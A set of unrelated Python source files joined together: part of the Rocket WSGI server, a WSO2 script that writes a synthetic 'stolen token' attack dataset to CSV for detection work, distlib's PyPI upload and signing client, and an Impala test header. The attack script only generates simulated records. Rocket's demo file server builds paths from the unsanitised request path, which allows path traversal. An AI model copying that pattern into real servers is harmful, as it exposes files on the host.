raise SocketTimeout('Socket timed out before request.')
except TypeError:
raise SocketClosed(
'SSL bug caused closure of socket. See '
'"https://groups.google.com/d/topic/web2py/P_Gw0JxWzCs".')
d = d.strip()
if not d:
if __debug__:
self.err_log.debug(
'Client did not send a recognizable request.')
raise SocketClosed('Client closed socket.')
self.request_line = d
# NOTE: I've replaced the traditional method of procedurally breaking
# apart the request line with a (rather unsightly) regular expression.
# However, Java's regexp support sucks so bad that it actually takes
# longer in Jython to process the regexp than procedurally. So I've
# left the old code here for Jython's sake...for now.
if IS_JYTHON:
return self._read_request_line_jython(d)
match = re_REQUEST_LINE.match(d)
if not match:
self.send_response('400 Bad Request')
raise BadRequest
req = match.groupdict()
for k, v in iteritems(req):
if not v:
req[k] = ""
if k == 'path':
req['path'] = r'%2F'.join(
[urllib_unquote(x) for x in re_SLASH.split(v)])
self.protocol = req['protocol']
return req
def _read_request_line_jython(self, d):
d = d.strip()
try:
method, uri, proto = d.split(' ')
if not proto.startswith('HTTP') or \
proto[-3:] not in ('1.0', '1.1') or \
method not in HTTP_METHODS:
self.send_response('400 Bad Request')
raise BadRequest
except ValueError:
self.send_response('400 Bad Request')
raise BadRequest
req = dict(method=method, protocol=proto)
scheme = ''
host = ''
if uri == '*' or uri.startswith('/'):
path = uri
elif '://' in uri:
scheme, rest = uri.split('://')
host, path = rest.split('/', 1)
path = '/' + path
else:
self.send_response('400 Bad Request')
raise BadRequest
query_string = ''
if '?' in path:
path, query_string = path.split('?', 1)
path = r'%2F'.join([urllib_unquote(x) for x in re_SLASH.split(path)])
req.update(path=path,
query_string=query_string,
scheme=scheme.lower(),
host=host)
return req
def read_headers(self, sock_file):
try:
headers = dict()
lname = None
lval = None
while True:
l = sock_file.readline()
if PY3K:
try:
l = str(l, 'ISO-8859-1')
except UnicodeDecodeError:
self.err_log.warning(
'Client sent invalid header: ' + repr(l))
if l.strip().replace('\0', '') == '':
break
if l[0] in ' \t' and lname:
# Some headers take more than one line
lval += ' ' + l.strip()
else:
# HTTP header values are latin-1 encoded
l = l.split(':', 1)
# HTTP header names are us-ascii encoded
lname = l[0].strip().upper().replace('-', '_')
lval = l[-1].strip()
headers[str(lname)] = str(lval)
except socket.timeout:
raise SocketTimeout("Socket timed out before request.")
return headers
class SocketTimeout(Exception):
"""Exception for when a socket times out between requests."""
pass
class BadRequest(Exception):
"""Exception for when a client sends an incomprehensible request."""
pass
class SocketClosed(Exception):
"""Exception for when a socket is closed by the client."""
pass
class ChunkedReader(object):
def __init__(self, sock_file):
self.stream = sock_file
self.chunk_size = 0
def _read_header(self):
chunk_len = ""
try:
while "" == chunk_len:
chunk_len = self.stream.readline().strip()
return int(chunk_len, 16)
except ValueError:
return 0
def read(self, size):
data = b('')
chunk_size = self.chunk_size
while size:
if not chunk_size:
chunk_size = self._read_header()
if size < chunk_size:
data += self.stream.read(size)
chunk_size -= size
break
else:
if not chunk_size:
break
data += self.stream.read(chunk_size)
size -= chunk_size
chunk_size = 0
self.chunk_size = chunk_size
return data
def readline(self):
data = b('')
c = self.read(1)
while c and c != b('\n'):
data += c
c = self.read(1)
data += c
return data
def readlines(self):
yield self.readline()
def get_method(method):
methods = dict(wsgi=WSGIWorker)
return methods[method.lower()]
# Monolithic build...end of module: rocket/worker.py
# Monolithic build...start of module: rocket/methods/__init__.py
# Monolithic build...end of module: rocket/methods/__init__.py
# Monolithic build...start of module: rocket/methods/wsgi.py
# Import System Modules
import sys
import socket
from wsgiref.headers import Headers
from wsgiref.util import FileWrapper
# Import Package Modules
# package imports removed in monolithic build
if PY3K:
from email.utils import formatdate
else:
# Caps Utils for Py2.4 compatibility
from email.Utils import formatdate
# Define Constants
NEWLINE = b('\r\n')
HEADER_RESPONSE = '''HTTP/1.1 %s\r\n%s'''
BASE_ENV = {'SERVER_NAME': SERVER_NAME,
'SCRIPT_NAME': '', # Direct call WSGI does not need a name
'wsgi.errors': sys.stderr,
'wsgi.version': (1, 0),
'wsgi.multiprocess': False,
'wsgi.run_once': False,
'wsgi.file_wrapper': FileWrapper
}
class WSGIWorker(Worker):
def __init__(self, *args, **kwargs):
"""Builds some instance variables that will last the life of the
thread."""
Worker.__init__(self, *args, **kwargs)
if isinstance(self.app_info, dict):
multithreaded = self.app_info.get('max_threads') != 1
else:
multithreaded = False
self.base_environ = dict(
{'SERVER_SOFTWARE': self.app_info['server_software'],
'wsgi.multithread': multithreaded,
})
self.base_environ.update(BASE_ENV)
# Grab our application
self.app = self.app_info.get('wsgi_app')
if not hasattr(self.app, "__call__"):
raise TypeError("The wsgi_app specified (%s) is not a valid WSGI application." % repr(self.app))
# Enable futures
if has_futures and self.app_info.get('futures'):
executor = self.app_info['executor']
self.base_environ.update({"wsgiorg.executor": executor,
"wsgiorg.futures": executor.futures})
def build_environ(self, sock_file, conn):
""" Build the execution environment. """
# Grab the request line
request = self.read_request_line(sock_file)
# Copy the Base Environment
environ = self.base_environ.copy()
# Grab the headers
for k, v in iteritems(self.read_headers(sock_file)):
environ[str('HTTP_' + k)] = v
# Add CGI Variables
environ['REQUEST_METHOD'] = request['method']
environ['PATH_INFO'] = request['path']
environ['SERVER_PROTOCOL'] = request['protocol']
environ['SERVER_PORT'] = str(conn.server_port)
environ['REMOTE_PORT'] = str(conn.client_port)
environ['REMOTE_ADDR'] = str(conn.client_addr)
environ['QUERY_STRING'] = request['query_string']
if 'HTTP_CONTENT_LENGTH' in environ:
environ['CONTENT_LENGTH'] = environ['HTTP_CONTENT_LENGTH']
if 'HTTP_CONTENT_TYPE' in environ:
environ['CONTENT_TYPE'] = environ['HTTP_CONTENT_TYPE']
# Save the request method for later
self.request_method = environ['REQUEST_METHOD']
# Add Dynamic WSGI Variables
if conn.ssl:
environ['wsgi.url_scheme'] = 'https'
environ['HTTPS'] = 'on'
try:
conn.socket.do_handshake()
peercert = conn.socket.getpeercert(binary_form=True)
environ['SSL_CLIENT_RAW_CERT'] = \
peercert and to_native(ssl.DER_cert_to_PEM_cert(peercert))
except Exception:
print(sys.exc_info()[1])
else:
environ['wsgi.url_scheme'] = 'http'
if environ.get('HTTP_TRANSFER_ENCODING', '') == 'chunked':
environ['wsgi.input'] = ChunkedReader(sock_file)
else:
environ['wsgi.input'] = sock_file
return environ
def send_headers(self, data, sections):
h_set = self.header_set
# Does the app want us to send output chunked?
self.chunked = h_set.get('Transfer-Encoding', '').lower() == 'chunked'
# Add a Date header if it's not there already
if not 'Date' in h_set:
h_set['Date'] = formatdate(usegmt=True)
# Add a Server header if it's not there already
if not 'Server' in h_set:
h_set['Server'] = HTTP_SERVER_SOFTWARE
if 'Content-Length' in h_set:
self.size = int(h_set['Content-Length'])
else:
s = int(self.status.split(' ')[0])
if (s < 200 or s not in (204, 205, 304)) and not self.chunked:
if sections == 1 or self.protocol != 'HTTP/1.1':
# Add a Content-Length header because it's not there
self.size = len(data)
h_set['Content-Length'] = str(self.size)
else:
# If they sent us more than one section, we blow chunks
h_set['Transfer-Encoding'] = 'Chunked'
self.chunked = True
if __debug__:
self.err_log.debug('Adding header...'
'Transfer-Encoding: Chunked')
if 'Connection' not in h_set:
# If the application did not provide a connection header,
# fill it in
client_conn = self.environ.get('HTTP_CONNECTION', '').lower()
if self.environ['SERVER_PROTOCOL'] == 'HTTP/1.1':
# HTTP = 1.1 defaults to keep-alive connections
if client_conn:
h_set['Connection'] = client_conn
else:
h_set['Connection'] = 'keep-alive'
else:
# HTTP < 1.1 supports keep-alive but it's quirky
# so we don't support it
h_set['Connection'] = 'close'
# Close our connection if we need to.
self.closeConnection = h_set.get('Connection', '').lower() == 'close'
# Build our output headers
header_data = HEADER_RESPONSE % (self.status, str(h_set))
# Send the headers
if __debug__:
self.err_log.debug('Sending Headers: %s' % repr(header_data))
self.conn.sendall(b(header_data))
self.headers_sent = True
def write_warning(self, data, sections=None):
self.err_log.warning('WSGI app called write method directly. This is '
'deprecated behavior. Please update your app.')
return self.write(data, sections)
def write(self, data, sections=None):
""" Write the data to the output socket. """
if self.error[0]:
self.status = self.error[0]
data = b(self.error[1])
if not self.headers_sent:
self.send_headers(data, sections)
if self.request_method != 'HEAD':
try:
if self.chunked:
self.conn.sendall(b'%x\r\n%s\r\n' % (len(data), to_bytes(data, 'ISO-8859-1')))
else:
self.conn.sendall(to_bytes(data))
except socket.timeout:
self.closeConnection = True
except socket.error:
# But some clients will close the connection before that
# resulting in a socket error.
self.closeConnection = True
def start_response(self, status, response_headers, exc_info=None):
""" Store the HTTP status and headers to be sent when self.write is
called. """
if exc_info:
try:
if self.headers_sent:
# Re-raise original exception if headers sent
# because this violates WSGI specification.
raise
finally:
exc_info = None
elif self.header_set:
raise AssertionError("Headers already set!")
if PY3K and not isinstance(status, str):
self.status = str(status, 'ISO-8859-1')
else:
self.status = status
# Make sure headers are bytes objects
try:
self.header_set = Headers(response_headers)
except UnicodeDecodeError:
self.error = ('500 Internal Server Error',
'HTTP Headers should be bytes')
self.err_log.error('Received HTTP Headers from client that contain'
' invalid characters for Latin-1 encoding.')
return self.write_warning
def run_app(self, conn):
self.size = 0
self.header_set = Headers([])
self.headers_sent = False
self.error = (None, None)
self.chunked = False
sections = None
output = None
if __debug__:
self.err_log.debug('Getting sock_file')
# Build our file-like object
if PY3K:
sock_file = conn.makefile(mode='rb', buffering=BUF_SIZE)
else:
sock_file = conn.makefile(BUF_SIZE)
try:
# Read the headers and build our WSGI environment
self.environ = environ = self.build_environ(sock_file, conn)
# Handle 100 Continue
if environ.get('HTTP_EXPECT', '') == '100-continue':
res = environ['SERVER_PROTOCOL'] + ' 100 Continue\r\n\r\n'
conn.sendall(b(res))
# Send it to our WSGI application
output = self.app(environ, self.start_response)
if not hasattr(output, '__len__') and not hasattr(output, '__iter__'):
self.error = ('500 Internal Server Error',
'WSGI applications must return a list or '
'generator type.')
if hasattr(output, '__len__'):
sections = len(output)
for data in output:
# Don't send headers until body appears
if data:
self.write(data, sections)
if not self.headers_sent:
# Send headers if the body was empty
self.send_headers('', sections)
if self.chunked and self.request_method != 'HEAD':
# If chunked, send our final chunk length
self.conn.sendall(b('0\r\n\r\n'))
# Don't capture exceptions here. The Worker class handles
# them appropriately.
finally:
if __debug__:
self.err_log.debug('Finally closing output and sock_file')
if hasattr(output, 'close'):
output.close()
sock_file.close()
# Monolithic build...end of module: rocket/methods/wsgi.py
def demo_app(environ, start_response):
global static_folder
import os
types = {'htm': 'text/html','html': 'text/html','gif': 'image/gif',
'jpg': 'image/jpeg','png': 'image/png','pdf': 'applications/pdf'}
if static_folder:
if not static_folder.startswith('/'):
static_folder = os.path.join(os.getcwd(),static_folder)
path = os.path.join(static_folder, environ['PATH_INFO'][1:] or 'index.html')
type = types.get(path.split('.')[-1],'text')
if os.path.exists(path):
try:
data = open(path,'rb').read()
start_response('200 OK', [('Content-Type', type)])
except IOError:
start_response('404 NOT FOUND', [])
data = '404 NOT FOUND'
else:
start_response('500 INTERNAL SERVER ERROR', [])
data = '500 INTERNAL SERVER ERROR'
else:
start_response('200 OK', [('Content-Type', 'text/html')])
data = '<html><body><h1>Hello from Rocket Web Server</h1></body></html>'
return [data]
def demo():
from optparse import OptionParser
parser = OptionParser()
parser.add_option("-i", "--ip", dest="ip",default="127.0.0.1",
help="ip address of the network interface")
parser.add_option("-p", "--port", dest="port",default="8000",
help="post where to run web server")
parser.add_option("-s", "--static", dest="static",default=None,
help="folder containing static files")
(options, args) = parser.parse_args()
global static_folder
static_folder = options.static
print('Rocket running on %s:%s' % (options.ip, options.port))
r=Rocket((options.ip,int(options.port)),'wsgi', {'wsgi_app':demo_app})
r.start()
if __name__=='__main__':
demo()
|
stolen_token_generate.py | # Copyright (c) 2020, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.
#
# WSO2 Inc. licenses this file to you under the Apache License,
# Version 2.0 (the "License"); you may not use this file except
# in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import ipaddress
import os
import pickle
import random
import string
import sys
from datetime import datetime, timedelta
from multiprocessing import Process, Lock, Value
import numpy as np
import yaml
from constants import *
from utilities import util_methods
from utilities.entity_classes import Config
from utils import log
abs_path = os.path.abspath(os.path.dirname(__file__))
logger = log.setLogger("Stolen_TOKEN")
current_data_points = Value('i', 0)
used_ips = []
# Constants
STOLEN_TOKEN = 'stolen_token'
# noinspection PyProtectedMember
def generate_unique_ip():
"""
Returns a unique ip address
:return: an unique ip
"""
global used_ips
random.seed()
max_ipv4 = ipaddress.IPv4Address._ALL_ONES
temp_ip = ipaddress.IPv4Address._string_from_ip_int(random.randint(0, max_ipv4))
while temp_ip in used_ips:
temp_ip = ipaddress.IPv4Address._string_from_ip_int(random.randint(0, max_ipv4))
used_ips.append(temp_ip)
return temp_ip
def generate_cookie():
"""
generates a random cookie
:return: a randomly generated cookie
"""
letters_and_digits = string.ascii_lowercase + string.digits
cookie = 'JSESSIONID='
cookie += ''.join(random.choice(letters_and_digits) for _ in range(31))
return cookie
def record_request(timestamp, path, access_token, method, user_ip, cookie, user_agent, dataset_path):
"""
This function will write the invoke request data to a file
:param timestamp: Timestamp of the request
:param path: Invoke path of the request
:param access_token: Access token of the request
:param method: Http method of the request
:param user_ip: User IP of the request
:param cookie: User cookie of the request
:param user_agent: User agent of the request
:param dataset_path: path to the dataset file
:return: None
"""
accept = 'application/json'
content_type = 'application/json'
request_info = "{},{},{},{},{},{},{},{},{},\"{}\"".format(
timestamp, user_ip, access_token, method, path, cookie, accept, content_type, user_ip, user_agent
)
util_methods.write_to_file(dataset_path, request_info, "a")
def simulate_user(user_data, total_data_point_count, configurations: Config, lock: Lock):
"""
Simulate the behaviour of a user during the attack duration.
:param lock:
:param total_data_point_count:
:param configurations:
:param user_data: A dictionary containing the user data
:return: None
"""
timestamp = configurations.start_timestamp
sleep_pattern = configurations.time_patterns[random.choice(list(configurations.time_patterns.keys()))]
scenario_req_count = 0
if scenario_req_count < configurations.no_of_data_points:
for app in user_data.values():
invoke_pattern_indices = util_methods.generate_method_invoke_pattern(app)
while True:
for i in invoke_pattern_indices:
if scenario_req_count >= configurations.no_of_data_points:
break
scenario = app[i]
invoke_path = scenario[2]
token = scenario[3]
http_method = scenario[4]
request_path = "{}://{}:{}/{}".format(
configurations.protocol, configurations.ip, configurations.port, invoke_path
)
random_user_agent = random.choice(configurations.user_agents)
random_ip = generate_unique_ip()
random_cookie = generate_cookie()
lock.acquire()
record_request(
timestamp, request_path, http_method, token, random_ip, random_cookie, random_user_agent,
configurations.dataset_path
)
total_data_point_count.value += 1
scenario_req_count += 1
lock.release()
sleep_time = util_methods.get_normal(sleep_pattern['mean'], sleep_pattern['std'])
timestamp += timedelta(seconds=sleep_time)
def main():
global current_data_points, abs_path, logger
try:
with open(
os.path.abspath(os.path.join(__file__, "../../../../traffic-tool/data/runtime_data/scenario_pool.sav")),
"rb"
) as scenario_file:
scenario_pool = pickle.load(scenario_file)
with open(
os.path.abspath(os.path.join(__file__, "../../../../../config/attack-tool.yaml")),
"r"
) as attack_config_file:
attack_config = yaml.load(attack_config_file, Loader=yaml.FullLoader)
except FileNotFoundError as ex:
logger.error("{}: \'{}\'".format(ex.strerror, ex.filename))
sys.exit()
configs: Config = Config()
# Reading configurations from attack-tool.yaml
configs.protocol = attack_config[GENERAL_CONFIG][API_HOST][PROTOCOL]
configs.ip = attack_config[GENERAL_CONFIG][API_HOST][IP]
configs.port = attack_config[GENERAL_CONFIG][API_HOST][PORT]
configs.attack_duration = attack_config[GENERAL_CONFIG][ATTACK_DURATION]
configs.no_of_data_points = attack_config[GENERAL_CONFIG][NO_OF_DATA_POINTS]
configs.start_timestamp = attack_config[GENERAL_CONFIG][START_TIMESTAMP]
configs.payloads = attack_config[GENERAL_CONFIG][PAYLOADS]
configs.user_agents = attack_config[GENERAL_CONFIG][USER_AGENTS]
configs.compromised_user_count = attack_config[ATTACKS][STOLEN_TOKEN][COMPROMISED_USER_COUNT]
configs.time_patterns = util_methods.process_time_patterns(attack_config[GENERAL_CONFIG][TIME_PATTERNS])
# Recording column names in the dataset csv file
configs.dataset_path = "../../../../../../dataset/attack/stolen_token.csv"
column_names = "timestamp,ip_address,access_token,http_method,invoke_path,cookie,accept,content_type," \
"x_forwarded_for,user_agent"
util_methods.write_to_file(configs.dataset_path, column_names, "w")
configs.start_time = datetime.now()
logger.info("Stolen token attack started")
if configs.compromised_user_count > len(scenario_pool):
logger.error("More compromised users than the total users")
sys.exit()
compromised_users = np.random.choice(
list(scenario_pool.values()), size=configs.compromised_user_count, replace=False
)
process_list = []
lock = Lock()
for user in compromised_users:
process = Process(target=simulate_user, args=(user, current_data_points, configs, lock))
process.daemon = False
process_list.append(process)
process.start()
with open(os.path.abspath(os.path.join(__file__, "../../../data/runtime_data/attack_processes.pid")),
"a+") as f:
f.write(str(process.pid) + '\n')
total_data_points = configs.no_of_data_points * len(process_list)
while True:
if current_data_points.value >= total_data_points:
for process in process_list:
process.terminate()
with open(abs_path + '/../../data/runtime_data/traffic_processes.pid', 'w') as file:
file.write('')
time_elapsed = datetime.now() - configs.start_time
logger.info("Attack terminated successfully. Time elapsed: {} seconds".format(time_elapsed.seconds))
break
# Program Execution
if __name__ == '__main__':
main()
|
index.py | # -*- coding: utf-8 -*-
#
# Copyright (C) 2013 Vinay Sajip.
# Licensed to the Python Software Foundation under a contributor agreement.
# See LICENSE.txt and CONTRIBUTORS.txt.
#
import hashlib
import logging
import os
import shutil
import subprocess
import tempfile
try:
from threading import Thread
except ImportError:
from dummy_threading import Thread
from distlib import DistlibException
from distlib.compat import (HTTPBasicAuthHandler, Request, HTTPPasswordMgr,
urlparse, build_opener)
from distlib.util import cached_property, zip_dir
logger = logging.getLogger(__name__)
DEFAULT_INDEX = 'https://pypi.python.org/pypi'
DEFAULT_REALM = 'pypi'
class PackageIndex(object):
"""
This class represents a package index compatible with PyPI, the Python
Package Index.
"""
boundary = b'----------ThIs_Is_tHe_distlib_index_bouNdaRY_$'
def __init__(self, url=None):
"""
Initialise an instance.
:param url: The URL of the index. If not specified, the URL for PyPI is
used.
"""
self.url = url or DEFAULT_INDEX
self.read_configuration()
scheme, netloc, path, params, query, frag = urlparse(self.url)
if params or query or frag or scheme not in ('http', 'https'):
raise DistlibException('invalid repository: %s' % self.url)
self.password_handler = None
self.ssl_verifier = None
self.gpg = None
self.gpg_home = None
with open(os.devnull, 'w') as sink:
for s in ('gpg2', 'gpg'):
try:
rc = subprocess.check_call([s, '--version'], stdout=sink,
stderr=sink)
if rc == 0:
self.gpg = s
break
except OSError:
pass
def _get_pypirc_command(self):
"""
Get the distutils command for interacting with PyPI configurations.
:return: the command.
"""
from distutils.core import Distribution
from distutils.config import PyPIRCCommand
d = Distribution()
return PyPIRCCommand(d)
def read_configuration(self):
"""
Read the PyPI access configuration as supported by distutils, getting
PyPI to do the acutal work. This populates ``username``, ``password``,
``realm`` and ``url`` attributes from the configuration.
"""
# get distutils to do the work
c = self._get_pypirc_command()
c.repository = self.url
cfg = c._read_pypirc()
self.username = cfg.get('username')
self.password = cfg.get('password')
self.realm = cfg.get('realm', 'pypi')
self.url = cfg.get('repository', self.url)
def save_configuration(self):
"""
Save the PyPI access configuration. You must have set ``username`` and
``password`` attributes before calling this method.
Again, distutils is used to do the actual work.
"""
self.check_credentials()
# get distutils to do the work
c = self._get_pypirc_command()
c._store_pypirc(self.username, self.password)
def check_credentials(self):
"""
Check that ``username`` and ``password`` have been set, and raise an
exception if not.
"""
if self.username is None or self.password is None:
raise DistlibException('username and password must be set')
pm = HTTPPasswordMgr()
_, netloc, _, _, _, _ = urlparse(self.url)
pm.add_password(self.realm, netloc, self.username, self.password)
self.password_handler = HTTPBasicAuthHandler(pm)
def register(self, metadata):
"""
Register a distribution on PyPI, using the provided metadata.
:param metadata: A :class:`Metadata` instance defining at least a name
and version number for the distribution to be
registered.
:return: The HTTP response received from PyPI upon submission of the
request.
"""
self.check_credentials()
metadata.validate()
d = metadata.todict()
d[':action'] = 'verify'
request = self.encode_request(d.items(), [])
response = self.send_request(request)
d[':action'] = 'submit'
request = self.encode_request(d.items(), [])
return self.send_request(request)
def _reader(self, name, stream, outbuf):
"""
Thread runner for reading lines of from a subprocess into a buffer.
:param name: The logical name of the stream (used for logging only).
:param stream: The stream to read from. This will typically a pipe
connected to the output stream of a subprocess.
:param outbuf: The list to append the read lines to.
"""
while True:
s = stream.readline()
if not s:
break
s = s.decode('utf-8').rstrip()
outbuf.append(s)
logger.debug('%s: %s' % (name, s))
stream.close()
def get_sign_command(self, filename, signer, sign_password):
"""
Return a suitable command for signing a file.
:param filename: The pathname to the file to be signed.
:param signer: The identifier of the signer of the file.
:param sign_password: The passphrase for the signer's
private key used for signing.
:return: The signing command as a list suitable to be
passed to :class:`subprocess.Popen`.
"""
cmd = [self.gpg, '--status-fd', '2', '--no-tty']
if self.gpg_home:
cmd.extend(['--homedir', self.gpg_home])
if sign_password is not None:
cmd.extend(['--batch', '--passphrase-fd', '0'])
td = tempfile.mkdtemp()
sf = os.path.join(td, os.path.basename(filename) + '.asc')
cmd.extend(['--detach-sign', '--armor', '--local-user',
signer, '--output', sf, filename])
logger.debug('invoking: %s', ' '.join(cmd))
return cmd, sf
def run_command(self, cmd, input_data=None):
"""
Run a command in a child process , passing it any input data specified.
:param cmd: The command to run.
:param input_data: If specified, this must be a byte string containing
data to be sent to the child process.
:return: A tuple consisting of the subprocess' exit code, a list of
lines read from the subprocess' ``stdout``, and a list of
lines read from the subprocess' ``stderr``.
"""
kwargs = {
'stdout': subprocess.PIPE,
'stderr': subprocess.PIPE,
}
if input_data is not None:
kwargs['stdin'] = subprocess.PIPE
stdout = []
stderr = []
p = subprocess.Popen(cmd, **kwargs)
# We don't use communicate() here because we may need to
# get clever with interacting with the command
t1 = Thread(target=self._reader, args=('stdout', p.stdout, stdout))
t1.start()
t2 = Thread(target=self._reader, args=('stderr', p.stderr, stderr))
t2.start()
if input_data is not None:
p.stdin.write(input_data)
p.stdin.close()
p.wait()
t1.join()
t2.join()
return p.returncode, stdout, stderr
def sign_file(self, filename, signer, sign_password):
"""
Sign a file.
:param filename: The pathname to the file to be signed.
:param signer: The identifier of the signer of the file.
:param sign_password: The passphrase for the signer's
private key used for signing.
:return: The absolute pathname of the file where the signature is
stored.
"""
cmd, sig_file = self.get_sign_command(filename, signer, sign_password)
rc, stdout, stderr = self.run_command(cmd,
sign_password.encode('utf-8'))
if rc != 0:
raise DistlibException('sign command failed with error '
'code %s' % rc)
return sig_file
def upload_file(self, metadata, filename, signer=None, sign_password=None,
filetype='sdist', pyversion='source'):
"""
Upload a release file to the index.
:param metadata: A :class:`Metadata` instance defining at least a name
and version number for the file to be uploaded.
:param filename: The pathname of the file to be uploaded.
:param signer: The identifier of the signer of the file.
:param sign_password: The passphrase for the signer's
private key used for signing.
:param filetype: The type of the file being uploaded. This is the
distutils command which produced that file, e.g.
``sdist`` or ``bdist_wheel``.
:param pyversion: The version of Python which the release relates
to. For code compatible with any Python, this would
be ``source``, otherwise it would be e.g. ``3.2``.
:return: The HTTP response received from PyPI upon submission of the
request.
"""
self.check_credentials()
if not os.path.exists(filename):
raise DistlibException('not found: %s' % filename)
metadata.validate()
d = metadata.todict()
sig_file = None
if signer:
if not self.gpg:
logger.warning('no signing program available - not signed')
else:
sig_file = self.sign_file(filename, signer, sign_password)
with open(filename, 'rb') as f:
file_data = f.read()
md5_digest = hashlib.md5(file_data).hexdigest()
sha256_digest = hashlib.sha256(file_data).hexdigest()
d.update({
':action': 'file_upload',
'protcol_version': '1',
'filetype': filetype,
'pyversion': pyversion,
'md5_digest': md5_digest,
'sha256_digest': sha256_digest,
})
files = [('content', os.path.basename(filename), file_data)]
if sig_file:
with open(sig_file, 'rb') as f:
sig_data = f.read()
files.append(('gpg_signature', os.path.basename(sig_file),
sig_data))
shutil.rmtree(os.path.dirname(sig_file))
request = self.encode_request(d.items(), files)
return self.send_request(request)
def upload_documentation(self, metadata, doc_dir):
"""
Upload documentation to the index.
:param metadata: A :class:`Metadata` instance defining at least a name
and version number for the documentation to be
uploaded.
:param doc_dir: The pathname of the directory which contains the
documentation. This should be the directory that
contains the ``index.html`` for the documentation.
:return: The HTTP response received from PyPI upon submission of the
request.
"""
self.check_credentials()
if not os.path.isdir(doc_dir):
raise DistlibException('not a directory: %r' % doc_dir)
fn = os.path.join(doc_dir, 'index.html')
if not os.path.exists(fn):
raise DistlibException('not found: %r' % fn)
metadata.validate()
name, version = metadata.name, metadata.version
zip_data = zip_dir(doc_dir).getvalue()
fields = [(':action', 'doc_upload'),
('name', name), ('version', version)]
files = [('content', name, zip_data)]
request = self.encode_request(fields, files)
return self.send_request(request)
def get_verify_command(self, signature_filename, data_filename):
"""
Return a suitable command for verifying a file.
:param signature_filename: The pathname to the file containing the
signature.
:param data_filename: The pathname to the file containing the
signed data.
:return: The verifying command as a list suitable to be
passed to :class:`subprocess.Popen`.
"""
cmd = [self.gpg, '--status-fd', '2', '--no-tty']
if self.gpg_home:
cmd.extend(['--homedir', self.gpg_home])
cmd.extend(['--verify', signature_filename, data_filename])
logger.debug('invoking: %s', ' '.join(cmd))
return cmd
def verify_signature(self, signature_filename, data_filename):
"""
Verify a signature for a file.
:param signature_filename: The pathname to the file containing the
signature.
:param data_filename: The pathname to the file containing the
signed data.
:return: True if the signature was verified, else False.
"""
if not self.gpg:
raise DistlibException('verification unavailable because gpg '
'unavailable')
cmd = self.get_verify_command(signature_filename, data_filename)
rc, stdout, stderr = self.run_command(cmd)
if rc not in (0, 1):
raise DistlibException('verify command failed with error '
'code %s' % rc)
return rc == 0
def download_file(self, url, destfile, digest=None, reporthook=None):
"""
This is a convenience method for downloading a file from an URL.
Normally, this will be a file from the index, though currently
no check is made for this (i.e. a file can be downloaded from
anywhere).
The method is just like the :func:`urlretrieve` function in the
standard library, except that it allows digest computation to be
done during download and checking that the downloaded data
matched any expected value.
:param url: The URL of the file to be downloaded (assumed to be
available via an HTTP GET request).
:param destfile: The pathname where the downloaded file is to be
saved.
:param digest: If specified, this must be a (hasher, value)
tuple, where hasher is the algorithm used (e.g.
``'md5'``) and ``value`` is the expected value.
:param reporthook: The same as for :func:`urlretrieve` in the
standard library.
"""
if digest is None:
digester = None
logger.debug('No digest specified')
else:
if isinstance(digest, (list, tuple)):
hasher, digest = digest
else:
hasher = 'md5'
digester = getattr(hashlib, hasher)()
logger.debug('Digest specified: %s' % digest)
# The following code is equivalent to urlretrieve.
# We need to do it this way so that we can compute the
# digest of the file as we go.
with open(destfile, 'wb') as dfp:
# addinfourl is not a context manager on 2.x
# so we have to use try/finally
sfp = self.send_request(Request(url))
try:
headers = sfp.info()
blocksize = 8192
size = -1
read = 0
blocknum = 0
if "content-length" in headers:
size = int(headers["Content-Length"])
if reporthook:
reporthook(blocknum, blocksize, size)
while True:
block = sfp.read(blocksize)
if not block:
break
read += len(block)
dfp.write(block)
if digester:
digester.update(block)
blocknum += 1
if reporthook:
reporthook(blocknum, blocksize, size)
finally:
sfp.close()
# check that we got the whole file, if we can
if size >= 0 and read < size:
raise DistlibException(
'retrieval incomplete: got only %d out of %d bytes'
% (read, size))
# if we have a digest, it must match.
if digester:
actual = digester.hexdigest()
if digest != actual:
raise DistlibException('%s digest mismatch for %s: expected '
'%s, got %s' % (hasher, destfile,
digest, actual))
logger.debug('Digest verified: %s', digest)
def send_request(self, req):
"""
Send a standard library :class:`Request` to PyPI and return its
response.
:param req: The request to send.
:return: The HTTP response from PyPI (a standard library HTTPResponse).
"""
handlers = []
if self.password_handler:
handlers.append(self.password_handler)
if self.ssl_verifier:
handlers.append(self.ssl_verifier)
opener = build_opener(*handlers)
return opener.open(req)
def encode_request(self, fields, files):
"""
Encode fields and files for posting to an HTTP server.
:param fields: The fields to send as a list of (fieldname, value)
tuples.
:param files: The files to send as a list of (fieldname, filename,
file_bytes) tuple.
"""
# Adapted from packaging, which in turn was adapted from
# http://code.activestate.com/recipes/146306
parts = []
boundary = self.boundary
for k, values in fields:
if not isinstance(values, (list, tuple)):
values = [values]
for v in values:
parts.extend((
b'--' + boundary,
('Content-Disposition: form-data; name="%s"' %
k).encode('utf-8'),
b'',
v.encode('utf-8')))
for key, filename, value in files:
parts.extend((
b'--' + boundary,
('Content-Disposition: form-data; name="%s"; filename="%s"' %
(key, filename)).encode('utf-8'),
b'',
value))
parts.extend((b'--' + boundary + b'--', b''))
body = b'\r\n'.join(parts)
ct = b'multipart/form-data; boundary=' + boundary
headers = {
'Content-type': ct,
'Content-length': str(len(body))
}
return Request(self.url, body, headers)
|
test_shell_interactive.py | #!/usr/bin/env impala-python
# -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import httplib
import logging
import os
import pexpect
import pytest
import re
import signal
import socket
import sys
import threading
from time import sleep
# This import is the actual ImpalaShell class from impala_shell.py.
# We rename it to ImpalaShellClass here because we later import another
# class called ImpalaShell from tests/shell/util.py, and we don't want
# to mask it.
from shell.impala_shell import ImpalaShell as ImpalaShellClass
from tempfile import NamedTemporaryFile
